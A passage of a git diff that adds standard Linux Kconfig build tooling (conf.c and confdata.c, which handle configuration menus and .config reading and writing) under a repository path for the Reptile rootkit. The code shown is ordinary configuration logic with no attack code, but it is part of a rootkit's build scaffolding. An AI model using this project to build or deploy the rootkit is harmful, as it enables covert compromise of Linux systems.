0; +help: + print_help(menu); + } +} + +static int conf_choice(struct menu *menu) +{ + struct symbol *sym, *def_sym; + struct menu *child; + bool is_new; + + sym = menu->sym; + is_new = !sym_has_value(sym); + if (sym_is_changable(sym)) { + conf_sym(menu); + sym_calc_value(sym); + switch (sym_get_tristate_value(sym)) { + case no: + return 1; + case mod: + return 0; + case yes: + break; + } + } else { + switch (sym_get_tristate_value(sym)) { + case no: + return 1; + case mod: + printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu))); + return 0; + case yes: + break; + } + } + + while (1) { + int cnt, def; + + printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu))); + def_sym = sym_get_choice_value(sym); + cnt = def = 0; + line[0] = 0; + for (child = menu->list; child; child = child->next) { + if (!menu_is_visible(child)) + continue; + if (!child->sym) { + printf("%*c %s\n", indent, '*', _(menu_get_prompt(child))); + continue; + } + cnt++; + if (child->sym == def_sym) { + def = cnt; + printf("%*c", indent, '>'); + } else + printf("%*c", indent, ' '); + printf(" %d. %s", cnt, _(menu_get_prompt(child))); + if (child->sym->name) + printf(" (%s)", child->sym->name); + if (!sym_has_value(child->sym)) + printf(_(" (NEW)")); + printf("\n"); + } + printf(_("%*schoice"), indent - 1, ""); + if (cnt == 1) { + printf("[1]: 1\n"); + goto conf_childs; + } + printf("[1-%d", cnt); + if (menu_has_help(menu)) + printf("?"); + printf("]: "); + switch (input_mode) { + case oldconfig: + case silentoldconfig: + if (!is_new) { + cnt = def; + printf("%d\n", cnt); + break; + } + check_stdin(); + /* fall through */ + case oldaskconfig: + fflush(stdout); + xfgets(line, 128, stdin); + strip(line); + if (line[0] == '?') { + print_help(menu); + continue; + } + if (!line[0]) + cnt = def; + else if (isdigit(line[0])) + cnt = atoi(line); + else + continue; + break; + default: + break; + } + + conf_childs: + for (child = menu->list; child; child = child->next) { + if (!child->sym || !menu_is_visible(child)) + continue; + if (!--cnt) + break; + } + if (!child) + continue; + if (line[0] && line[strlen(line) - 1] == '?') { + print_help(child); + continue; + } + sym_set_choice_value(sym, child->sym); + for (child = child->list; child; child = child->next) { + indent += 2; + conf(child); + indent -= 2; + } + return 1; + } +} + +static void conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + + if (!menu_is_visible(menu)) + return; + + sym = menu->sym; + prop = menu->prompt; + if (prop) { + const char *prompt; + + switch (prop->type) { + case P_MENU: + if ((input_mode == silentoldconfig || + input_mode == listnewconfig || + input_mode == olddefconfig) && + rootEntry != menu) { + check_conf(menu); + return; + } + /* fall through */ + case P_COMMENT: + prompt = menu_get_prompt(menu); + if (prompt) + printf("%*c\n%*c %s\n%*c\n", + indent, '*', + indent, '*', _(prompt), + indent, '*'); + default: + ; + } + } + + if (!sym) + goto conf_childs; + + if (sym_is_choice(sym)) { + conf_choice(menu); + if (sym->curr.tri != mod) + return; + goto conf_childs; + } + + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + conf_string(menu); + break; + default: + conf_sym(menu); + break; + } + +conf_childs: + if (sym) + indent += 2; + for (child = menu->list; child; child = child->next) + conf(child); + if (sym) + indent -= 2; +} + +static void check_conf(struct menu *menu) +{ + struct symbol *sym; + struct menu *child; + + if (!menu_is_visible(menu)) + return; + + sym = menu->sym; + if (sym && !sym_has_value(sym)) { + if (sym_is_changable(sym) || + (sym_is_choice(sym) && sym_get_tristate_value(sym) == yes)) { + if (input_mode == listnewconfig) { + if (sym->name && !sym_is_choice_value(sym)) { + printf("%s%s\n", CONFIG_, sym->name); + } + } else if (input_mode != olddefconfig) { + if (!conf_cnt++) + printf(_("*\n* Restart config...\n*\n")); + rootEntry = menu_get_parent_menu(menu); + conf(rootEntry); + } + } + } + + for (child = menu->list; child; child = child->next) + check_conf(child); +} + +static struct option long_opts[] = { + {"oldaskconfig", no_argument, NULL, oldaskconfig}, + {"oldconfig", no_argument, NULL, oldconfig}, + {"silentoldconfig", no_argument, NULL, silentoldconfig}, + {"defconfig", optional_argument, NULL, defconfig}, + {"savedefconfig", required_argument, NULL, savedefconfig}, + {"allnoconfig", no_argument, NULL, allnoconfig}, + {"allyesconfig", no_argument, NULL, allyesconfig}, + {"allmodconfig", no_argument, NULL, allmodconfig}, + {"alldefconfig", no_argument, NULL, alldefconfig}, + {"randconfig", no_argument, NULL, randconfig}, + {"listnewconfig", no_argument, NULL, listnewconfig}, + {"olddefconfig", no_argument, NULL, olddefconfig}, + /* + * oldnoconfig is an alias of olddefconfig, because people already + * are dependent on its behavior(sets new symbols to their default + * value but not 'n') with the counter-intuitive name. + */ + {"oldnoconfig", no_argument, NULL, olddefconfig}, + {NULL, 0, NULL, 0} +}; + +static void conf_usage(const char *progname) +{ + + printf("Usage: %s [option] \n", progname); + printf("[option] is _one_ of the following:\n"); + printf(" --listnewconfig List new options\n"); + printf(" --oldaskconfig Start a new configuration using a line-oriented program\n"); + printf(" --oldconfig Update a configuration using a provided .config as base\n"); + printf(" --silentoldconfig Same as oldconfig, but quietly, additionally update deps\n"); + printf(" --olddefconfig Same as silentoldconfig but sets new symbols to their default value\n"); + printf(" --oldnoconfig An alias of olddefconfig\n"); + printf(" --defconfig New config with default defined in \n"); + printf(" --savedefconfig Save the minimal current configuration to \n"); + printf(" --allnoconfig New config where all options are answered with no\n"); + printf(" --allyesconfig New config where all options are answered with yes\n"); + printf(" --allmodconfig New config where all options are answered with mod\n"); + printf(" --alldefconfig New config with all symbols set to default\n"); + printf(" --randconfig New config with random answer to all options\n"); +} + +int main(int ac, char **av) +{ + const char *progname = av[0]; + int opt; + const char *name, *defconfig_file = NULL /* gcc uninit */; + struct stat tmpstat; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + tty_stdio = isatty(0) && isatty(1) && isatty(2); + + while ((opt = getopt_long(ac, av, "", long_opts, NULL)) != -1) { + input_mode = (enum input_mode)opt; + switch (opt) { + case silentoldconfig: + sync_kconfig = 1; + break; + case defconfig: + case savedefconfig: + defconfig_file = optarg; + break; + case randconfig: + { + struct timeval now; + unsigned int seed; + char *seed_env; + + /* + * Use microseconds derived seed, + * compensate for systems where it may be zero + */ + gettimeofday(&now, NULL); + seed = (unsigned int)((now.tv_sec + 1) * (now.tv_usec + 1)); + + seed_env = getenv("KCONFIG_SEED"); + if( seed_env && *seed_env ) { + char *endp; + int tmp = (int)strtol(seed_env, &endp, 0); + if (*endp == '\0') { + seed = tmp; + } + } + fprintf( stderr, "KCONFIG_SEED=0x%X\n", seed ); + srand(seed); + break; + } + case oldaskconfig: + case oldconfig: + case allnoconfig: + case allyesconfig: + case allmodconfig: + case alldefconfig: + case listnewconfig: + case olddefconfig: + break; + case '?': + conf_usage(progname); + exit(1); + break; + } + } + if (ac == optind) { + printf(_("%s: Kconfig file missing\n"), av[0]); + conf_usage(progname); + exit(1); + } + name = av[optind]; + conf_parse(name); + if (sync_kconfig) { + name = conf_get_configname(); + if (stat(name, &tmpstat)) { + fprintf(stderr, _("***\n" + "*** Configuration file \"%s\" not found!\n" + "***\n" + "*** Please run some configurator (e.g. \"make oldconfig\" or\n" + "*** \"make menuconfig\" or \"make xconfig\").\n" + "***\n"), name); + exit(1); + } + } + + switch (input_mode) { + case defconfig: + if (!defconfig_file) + defconfig_file = conf_get_default_confname(); + if (conf_read(defconfig_file)) { + printf(_("***\n" + "*** Can't find default configuration \"%s\"!\n" + "***\n"), defconfig_file); + exit(1); + } + break; + case savedefconfig: + case silentoldconfig: + case oldaskconfig: + case oldconfig: + case listnewconfig: + case olddefconfig: + conf_read(NULL); + break; + case allnoconfig: + case allyesconfig: + case allmodconfig: + case alldefconfig: + case randconfig: + name = getenv("KCONFIG_ALLCONFIG"); + if (!name) + break; + if ((strcmp(name, "") != 0) && (strcmp(name, "1") != 0)) { + if (conf_read_simple(name, S_DEF_USER)) { + fprintf(stderr, + _("*** Can't read seed configuration \"%s\"!\n"), + name); + exit(1); + } + break; + } + switch (input_mode) { + case allnoconfig: name = "allno.config"; break; + case allyesconfig: name = "allyes.config"; break; + case allmodconfig: name = "allmod.config"; break; + case alldefconfig: name = "alldef.config"; break; + case randconfig: name = "allrandom.config"; break; + default: break; + } + if (conf_read_simple(name, S_DEF_USER) && + conf_read_simple("all.config", S_DEF_USER)) { + fprintf(stderr, + _("*** KCONFIG_ALLCONFIG set, but no \"%s\" or \"all.config\" file found\n"), + name); + exit(1); + } + break; + default: + break; + } + + if (sync_kconfig) { + if (conf_get_changed()) { + name = getenv("KCONFIG_NOSILENTUPDATE"); + if (name && *name) { + fprintf(stderr, + _("\n*** The configuration requires explicit update.\n\n")); + return 1; + } + } + valid_stdin = tty_stdio; + } + + switch (input_mode) { + case allnoconfig: + conf_set_all_new_symbols(def_no); + break; + case allyesconfig: + conf_set_all_new_symbols(def_yes); + break; + case allmodconfig: + conf_set_all_new_symbols(def_mod); + break; + case alldefconfig: + conf_set_all_new_symbols(def_default); + break; + case randconfig: + /* Really nothing to do in this loop */ + while (conf_set_all_new_symbols(def_random)) ; + break; + case defconfig: + conf_set_all_new_symbols(def_default); + break; + case savedefconfig: + break; + case oldaskconfig: + rootEntry = &rootmenu; + conf(&rootmenu); + input_mode = silentoldconfig; + /* fall through */ + case oldconfig: + case listnewconfig: + case olddefconfig: + case silentoldconfig: + /* Update until a loop caused no more changes */ + do { + conf_cnt = 0; + check_conf(&rootmenu); + } while (conf_cnt && + (input_mode != listnewconfig && + input_mode != olddefconfig)); + break; + } + + if (sync_kconfig) { + /* silentoldconfig is used during the build so we shall update autoconf. + * All other commands are only used to generate a config. + */ + if (conf_get_changed() && conf_write(NULL)) { + fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n")); + exit(1); + } + if (conf_write_autoconf()) { + fprintf(stderr, _("\n*** Error during update of the configuration.\n\n")); + return 1; + } + } else if (input_mode == savedefconfig) { + if (conf_write_defconfig(defconfig_file)) { + fprintf(stderr, _("n*** Error while saving defconfig to: %s\n\n"), + defconfig_file); + return 1; + } + } else if (input_mode != listnewconfig) { + if (conf_write(NULL)) { + fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n")); + exit(1); + } + } + return 0; +} + +/* + * Helper function to facilitate fgets() by Jean Sacren. + */ +void xfgets(char *str, int size, FILE *in) +{ + if (fgets(str, size, in) == NULL) + fprintf(stderr, "\nError in reading or end of file.\n"); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/confdata.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/confdata.c new file mode 100644 index 0000000..2371fa8 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/100-kconfig-generic-env.patch/confdata.c @@ -0,0 +1,1272 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf_warning(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static void conf_message(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static const char *conf_filename; +static int conf_lineno, conf_warnings, conf_unsaved; + +const char conf_defname[] = ".defconfig"; + +static void conf_warning(const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); + conf_warnings++; +} + +static void conf_default_message_callback(const char *fmt, va_list ap) +{ + printf("#\n# "); + vprintf(fmt, ap); + printf("\n#\n"); +} + +static void (*conf_message_callback) (const char *fmt, va_list ap) = + conf_default_message_callback; +void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap)) +{ + conf_message_callback = fn; +} + +static void conf_message(const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + if (conf_message_callback) + conf_message_callback(fmt, ap); +} + +const char *conf_get_configname(void) +{ + char *name = getenv("BR2_CONFIG"); + + return name ? name : ".config"; +} + +const char *conf_get_autoconfig_name(void) +{ + return getenv("KCONFIG_AUTOCONFIG"); +} + +static char *conf_expand_value(const char *in) +{ + struct symbol *sym; + const char *src; + static char res_value[SYMBOL_MAXLENGTH]; + char *dst, name[SYMBOL_MAXLENGTH]; + + res_value[0] = 0; + dst = name; + while ((src = strchr(in, '$'))) { + strncat(res_value, in, src - in); + src++; + dst = name; + while (isalnum(*src) || *src == '_') + *dst++ = *src++; + *dst = 0; + sym = sym_lookup(name, 0); + sym_calc_value(sym); + strcat(res_value, sym_get_string_value(sym)); + in = src; + } + strcat(res_value, in); + + return res_value; +} + +char *conf_get_default_confname(void) +{ + struct stat buf; + static char fullname[PATH_MAX+1]; + char *env, *name; + + name = conf_expand_value(conf_defname); + env = getenv(SRCTREE); + if (env) { + sprintf(fullname, "%s/%s", env, name); + if (!stat(fullname, &buf)) + return fullname; + } + return name; +} + +static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p) +{ + char *p2; + + switch (sym->type) { + case S_TRISTATE: + if (p[0] == 'm') { + sym->def[def].tri = mod; + sym->flags |= def_flags; + break; + } + /* fall through */ + case S_BOOLEAN: + if (p[0] == 'y') { + sym->def[def].tri = yes; + sym->flags |= def_flags; + break; + } + if (p[0] == 'n') { + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + } + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + case S_OTHER: + if (*p != '"') { + for (p2 = p; *p2 && !isspace(*p2); p2++) + ; + sym->type = S_STRING; + goto done; + } + /* fall through */ + case S_STRING: + if (*p++ != '"') + break; + for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) { + if (*p2 == '"') { + *p2 = 0; + break; + } + memmove(p2, p2 + 1, strlen(p2)); + } + if (!p2) { + if (def != S_DEF_AUTO) + conf_warning("invalid string found"); + return 1; + } + /* fall through */ + case S_INT: + case S_HEX: + done: + if (sym_string_valid(sym, p)) { + sym->def[def].val = strdup(p); + sym->flags |= def_flags; + } else { + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + } + break; + default: + ; + } + return 0; +} + +#define LINE_GROWTH 16 +static int add_byte(int c, char **lineptr, size_t slen, size_t *n) +{ + char *nline; + size_t new_size = slen + 1; + if (new_size > *n) { + new_size += LINE_GROWTH - 1; + new_size *= 2; + nline = realloc(*lineptr, new_size); + if (!nline) + return -1; + + *lineptr = nline; + *n = new_size; + } + + (*lineptr)[slen] = c; + + return 0; +} + +static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream) +{ + char *line = *lineptr; + size_t slen = 0; + + for (;;) { + int c = getc(stream); + + switch (c) { + case '\n': + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + /* fall through */ + case EOF: + if (add_byte('\0', &line, slen, n) < 0) + goto e_out; + *lineptr = line; + if (slen == 0) + return -1; + return slen; + default: + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + } + } + +e_out: + line[slen-1] = '\0'; + *lineptr = line; + return -1; +} + +int conf_read_simple(const char *name, int def) +{ + FILE *in = NULL; + char *line = NULL; + size_t line_asize = 0; + char *p, *p2; + struct symbol *sym; + int i, def_flags; + + if (name) { + in = zconf_fopen(name); + } else { + struct property *prop; + + name = conf_get_configname(); + in = zconf_fopen(name); + if (in) + goto load; + sym_add_change_count(1); + if (!sym_defconfig_list) { + if (modules_sym) + sym_calc_value(modules_sym); + return 1; + } + + for_all_defaults(sym_defconfig_list, prop) { + if (expr_calc_value(prop->visible.expr) == no || + prop->expr->type != E_SYMBOL) + continue; + name = conf_expand_value(prop->expr->left.sym->name); + in = zconf_fopen(name); + if (in) { + conf_message(_("using defaults found in %s"), + name); + goto load; + } + } + } + if (!in) + return 1; + +load: + conf_filename = name; + conf_lineno = 0; + conf_warnings = 0; + conf_unsaved = 0; + + def_flags = SYMBOL_DEF << def; + for_all_symbols(i, sym) { + sym->flags |= SYMBOL_CHANGED; + sym->flags &= ~(def_flags|SYMBOL_VALID); + if (sym_is_choice(sym)) + sym->flags |= def_flags; + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + if (sym->def[def].val) + free(sym->def[def].val); + /* fall through */ + default: + sym->def[def].val = NULL; + sym->def[def].tri = no; + } + } + + while (compat_getline(&line, &line_asize, in) != -1) { + conf_lineno++; + sym = NULL; + if (line[0] == '#') { + if (memcmp(line + 2, CONFIG_, strlen(CONFIG_))) + continue; + p = strchr(line + 2 + strlen(CONFIG_), ' '); + if (!p) + continue; + *p++ = 0; + if (strncmp(p, "is not set", 10)) + continue; + if (def == S_DEF_USER) { + sym = sym_find(line + 2 + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + 2 + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_BOOLEAN; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + default: + ; + } + } else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) { + p = strchr(line + strlen(CONFIG_), '='); + if (!p) + continue; + *p++ = 0; + p2 = strchr(p, '\n'); + if (p2) { + *p2-- = 0; + if (*p2 == '\r') + *p2 = 0; + } + if (def == S_DEF_USER) { + sym = sym_find(line + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_OTHER; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + if (conf_set_sym_val(sym, def, def_flags, p)) + continue; + } else { + if (line[0] != '\r' && line[0] != '\n') + conf_warning("unexpected data"); + continue; + } +setsym: + if (sym && sym_is_choice_value(sym)) { + struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); + switch (sym->def[def].tri) { + case no: + break; + case mod: + if (cs->def[def].tri == yes) { + conf_warning("%s creates inconsistent choice state", sym->name); + cs->flags &= ~def_flags; + } + break; + case yes: + if (cs->def[def].tri != no) + conf_warning("override: %s changes choice state", sym->name); + cs->def[def].val = sym; + break; + } + cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri); + } + } + free(line); + fclose(in); + + if (modules_sym) + sym_calc_value(modules_sym); + return 0; +} + +int conf_read(const char *name) +{ + struct symbol *sym; + int i; + + sym_set_change_count(0); + + if (conf_read_simple(name, S_DEF_USER)) + return 1; + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO)) + continue; + if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) { + /* check that calculated value agrees with saved value */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym)) + break; + if (!sym_is_choice(sym)) + continue; + /* fall through */ + default: + if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val)) + continue; + break; + } + } else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE)) + /* no previous value and not saved */ + continue; + conf_unsaved++; + /* maybe print value in verbose mode... */ + } + + for_all_symbols(i, sym) { + if (sym_has_value(sym) && !sym_is_choice_value(sym)) { + /* Reset values of generates values, so they'll appear + * as new, if they should become visible, but that + * doesn't quite work if the Kconfig and the saved + * configuration disagree. + */ + if (sym->visible == no && !conf_unsaved) + sym->flags &= ~SYMBOL_DEF_USER; + switch (sym->type) { + case S_STRING: + case S_INT: + case S_HEX: + /* Reset a string value if it's out of range */ + if (sym_string_within_range(sym, sym->def[S_DEF_USER].val)) + break; + sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER); + conf_unsaved++; + break; + default: + break; + } + } + } + + sym_add_change_count(conf_warnings || conf_unsaved); + + return 0; +} + +/* + * Kconfig configuration printer + * + * This printer is used when generating the resulting configuration after + * kconfig invocation and `defconfig' files. Unset symbol might be omitted by + * passing a non-NULL argument to the printer. + * + */ +static void +kconfig_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (*value == 'n') { + bool skip_unset = (arg != NULL); + + if (!skip_unset) + fprintf(fp, "# %s%s is not set\n", + CONFIG_, sym->name); + return; + } + break; + default: + break; + } + + fprintf(fp, "%s%s=%s\n", CONFIG_, sym->name, value); +} + +static void +kconfig_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, "#"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } +} + +static struct conf_printer kconfig_printer_cb = +{ + .print_symbol = kconfig_print_symbol, + .print_comment = kconfig_print_comment, +}; + +/* + * Header printer + * + * This printer is used when generating the `include/generated/autoconf.h' file. + */ +static void +header_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: { + const char *suffix = ""; + + switch (*value) { + case 'n': + break; + case 'm': + suffix = "_MODULE"; + /* fall through */ + default: + fprintf(fp, "#define %s%s%s 1\n", + CONFIG_, sym->name, suffix); + } + break; + } + case S_HEX: { + const char *prefix = ""; + + if (value[0] != '0' || (value[1] != 'x' && value[1] != 'X')) + prefix = "0x"; + fprintf(fp, "#define %s%s %s%s\n", + CONFIG_, sym->name, prefix, value); + break; + } + case S_STRING: + case S_INT: + fprintf(fp, "#define %s%s %s\n", + CONFIG_, sym->name, value); + break; + default: + break; + } + +} + +static void +header_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + fprintf(fp, "/*\n"); + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, " *"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } + fprintf(fp, " */\n"); +} + +static struct conf_printer header_printer_cb = +{ + .print_symbol = header_print_symbol, + .print_comment = header_print_comment, +}; + +/* + * Tristate printer + * + * This printer is used when generating the `include/config/tristate.conf' file. + */ +static void +tristate_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + if (sym->type == S_TRISTATE && *value != 'n') + fprintf(fp, "%s%s=%c\n", CONFIG_, sym->name, (char)toupper(*value)); +} + +static struct conf_printer tristate_printer_cb = +{ + .print_symbol = tristate_print_symbol, + .print_comment = kconfig_print_comment, +}; + +static void conf_write_symbol(FILE *fp, struct symbol *sym, + struct conf_printer *printer, void *printer_arg) +{ + const char *str; + + switch (sym->type) { + case S_OTHER: + case S_UNKNOWN: + break; + case S_STRING: + str = sym_get_string_value(sym); + str = sym_escape_string_value(str); + printer->print_symbol(fp, sym, str, printer_arg); + free((void *)str); + break; + default: + str = sym_get_string_value(sym); + printer->print_symbol(fp, sym, str, printer_arg); + } +} + +static void +conf_write_heading(FILE *fp, struct conf_printer *printer, void *printer_arg) +{ + char buf[256]; + + snprintf(buf, sizeof(buf), + "\n" + "Automatically generated file; DO NOT EDIT.\n" + "%s\n", + rootmenu.prompt->text); + + printer->print_comment(fp, buf, printer_arg); +} + +/* + * Write out a minimal config. + * All values that has default values are skipped as this is redundant. + */ +int conf_write_defconfig(const char *filename) +{ + struct symbol *sym; + struct menu *menu; + FILE *out; + + out = fopen(filename, "w"); + if (!out) + return 1; + + sym_clear_all_valid(); + + /* Traverse all menus to find all relevant symbols */ + menu = rootmenu.list; + + while (menu != NULL) + { + sym = menu->sym; + if (sym == NULL) { + if (!menu_is_visible(menu)) + goto next_menu; + } else if (!sym_is_choice(sym)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next_menu; + sym->flags &= ~SYMBOL_WRITE; + /* If we cannot change the symbol - skip */ + if (!sym_is_changable(sym)) + goto next_menu; + /* If symbol equals to default value - skip */ + if (strcmp(sym_get_string_value(sym), sym_get_string_default(sym)) == 0) + goto next_menu; + + /* + * If symbol is a choice value and equals to the + * default for a choice - skip. + * But only if value is bool and equal to "y" and + * choice is not "optional". + * (If choice is "optional" then all values can be "n") + */ + if (sym_is_choice_value(sym)) { + struct symbol *cs; + struct symbol *ds; + + cs = prop_get_symbol(sym_get_choice_prop(sym)); + ds = sym_choice_default(cs); + if (!sym_is_optional(cs) && sym == ds) { + if ((sym->type == S_BOOLEAN) && + sym_get_tristate_value(sym) == yes) + goto next_menu; + } + } + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } +next_menu: + if (menu->list != NULL) { + menu = menu->list; + } + else if (menu->next != NULL) { + menu = menu->next; + } else { + while ((menu = menu->parent)) { + if (menu->next != NULL) { + menu = menu->next; + break; + } + } + } + } + fclose(out); + return 0; +} + +int conf_write(const char *name) +{ + FILE *out; + struct symbol *sym; + struct menu *menu; + const char *basename; + const char *str; + char dirname[PATH_MAX+1], tmpname[PATH_MAX+1], newname[PATH_MAX+1]; + char *env; + + if (!name) + name = conf_get_configname(); + + dirname[0] = 0; + if (name && name[0]) { + struct stat st; + char *slash; + + if (!stat(name, &st) && S_ISDIR(st.st_mode)) { + strcpy(dirname, name); + strcat(dirname, "/"); + basename = conf_get_configname(); + } else if ((slash = strrchr(name, '/'))) { + int size = slash - name + 1; + memcpy(dirname, name, size); + dirname[size] = 0; + if (slash[1]) + basename = slash + 1; + else + basename = conf_get_configname(); + } else + basename = name; + } else + basename = conf_get_configname(); + + sprintf(newname, "%s%s", dirname, basename); + env = getenv("KCONFIG_OVERWRITECONFIG"); + if (!env || !*env) { + sprintf(tmpname, "%s.tmpconfig.%d", dirname, (int)getpid()); + out = fopen(tmpname, "w"); + } else { + *tmpname = 0; + out = fopen(newname, "w"); + } + if (!out) + return 1; + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + if (!conf_get_changed()) + sym_clear_all_valid(); + + menu = rootmenu.list; + while (menu) { + sym = menu->sym; + if (!sym) { + if (!menu_is_visible(menu)) + goto next; + str = menu_get_prompt(menu); + fprintf(out, "\n" + "#\n" + "# %s\n" + "#\n", str); + } else if (!(sym->flags & SYMBOL_CHOICE)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next; + sym->flags &= ~SYMBOL_WRITE; + + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } + +next: + if (menu->list) { + menu = menu->list; + continue; + } + if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->next) { + menu = menu->next; + break; + } + } + } + fclose(out); + + if (*tmpname) { + strcat(dirname, basename); + strcat(dirname, ".old"); + rename(newname, dirname); + if (rename(tmpname, newname)) + return 1; + } + + conf_message(_("configuration written to %s"), newname); + + sym_set_change_count(0); + + return 0; +} + +static int conf_split_config(void) +{ + const char *name; + char path[PATH_MAX+1]; + char *opwd, *dir, *_name; + char *s, *d, c; + struct symbol *sym; + struct stat sb; + int res, i, fd; + + name = conf_get_autoconfig_name(); + conf_read_simple(name, S_DEF_AUTO); + + opwd = malloc(256); + _name = strdup(name); + if (opwd == NULL || _name == NULL) + return 1; + opwd = getcwd(opwd, 256); + dir = dirname(_name); + if (dir == NULL) { + res = 1; + goto err; + } + if (chdir(dir)) { + res = 1; + goto err; + } + + res = 0; + for_all_symbols(i, sym) { + sym_calc_value(sym); + if ((sym->flags & SYMBOL_AUTO) || !sym->name) + continue; + if (sym->flags & SYMBOL_WRITE) { + if (sym->flags & SYMBOL_DEF_AUTO) { + /* + * symbol has old and new value, + * so compare them... + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == + sym->def[S_DEF_AUTO].tri) + continue; + break; + case S_STRING: + case S_HEX: + case S_INT: + if (!strcmp(sym_get_string_value(sym), + sym->def[S_DEF_AUTO].val)) + continue; + break; + default: + break; + } + } else { + /* + * If there is no old value, only 'no' (unset) + * is allowed as new value. + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == no) + continue; + break; + default: + break; + } + } + } else if (!(sym->flags & SYMBOL_DEF_AUTO)) + /* There is neither an old nor a new value. */ + continue; + /* else + * There is an old value, but no new value ('no' (unset) + * isn't saved in auto.conf, so the old value is always + * different from 'no'). + */ + + /* Replace all '_' and append ".h" */ + s = sym->name; + d = path; + while ((c = *s++)) { + c = tolower(c); + *d++ = (c == '_') ? '/' : c; + } + strcpy(d, ".h"); + + /* Assume directory path already exists. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + if (errno != ENOENT) { + res = 1; + break; + } + /* + * Create directory components, + * unless they exist already. + */ + d = path; + while ((d = strchr(d, '/'))) { + *d = 0; + if (stat(path, &sb) && mkdir(path, 0755)) { + res = 1; + goto out; + } + *d++ = '/'; + } + /* Try it again. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + res = 1; + break; + } + } + close(fd); + } +out: + if (chdir(opwd)) + res = 1; +err: + free(opwd); + free(_name); + return res; +} + +int conf_write_autoconf(void) +{ + struct symbol *sym; + const char *name; + FILE *out, *tristate, *out_h; + int i; + char dir[PATH_MAX+1], buf[PATH_MAX+1]; + char *s; + + strcpy(dir, conf_get_configname()); + s = strrchr(dir, '/'); + if (s) + s[1] = 0; + else + dir[0] = 0; + + sym_clear_all_valid(); + + sprintf(buf, "%s.config.cmd", dir); + file_write_dep(buf); + + if (conf_split_config()) + return 1; + + sprintf(buf, "%s.tmpconfig", 